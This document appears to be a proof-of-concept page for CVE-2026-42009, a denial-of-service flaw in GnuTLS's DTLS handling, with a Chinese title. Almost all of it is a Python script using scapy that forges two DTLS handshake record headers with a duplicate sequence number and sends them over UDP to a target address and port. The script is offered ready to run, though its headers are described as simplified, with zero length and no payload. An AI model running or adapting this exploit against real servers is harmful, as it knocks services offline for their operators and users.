CVE-2026-42009 GnuTLS DTLS拒绝服务漏洞

# Proof of Concept for CVE-2026-42009 # This script demonstrates sending DTLS packets with duplicate sequence numbers to trigger the DoS. # Usage: python3 poc.py from scapy.all import * import struct def send_duplicate_dtls_packets(target_ip, target_port): # Define a duplicate sequence number seq_num = 0x000000000001 # DTLS Record Header: Content Type (1) + Version (2) + Epoch (2) + Sequence (6) + Length (2) # Simplified header for demonstration header_template = "!BHH" # Type, Version, Epoch # Packet 1 pkt1_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) # Handshake, DTLS 1.2 pkt1_header += struct.pack("!Q", seq_num)[2:] # Take last 6 bytes for sequence pkt1_header += struct.pack("!H", 0x0000) # Length placeholder # Packet 2 with SAME sequence number pkt2_header = struct.pack(header_template, 0x16, 0xFEFD, 0x0000) pkt2_header += struct.pack("!Q", seq_num)[2:] # Duplicate sequence number pkt2_header += struct.pack("!H", 0x0000) # Send packets via UDP pkt1 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt1_header) pkt2 = IP(dst=target_ip)/UDP(dport=target_port, sport=54321)/Raw(load=pkt2_header) send(pkt1, verbose=0) send(pkt2, verbose=0) print(f"[+] Sent duplicate sequence packets to {target_ip}:{target_port}") if __name__ == "__main__": send_duplicate_dtls_packets("192.168.1.10", 4433)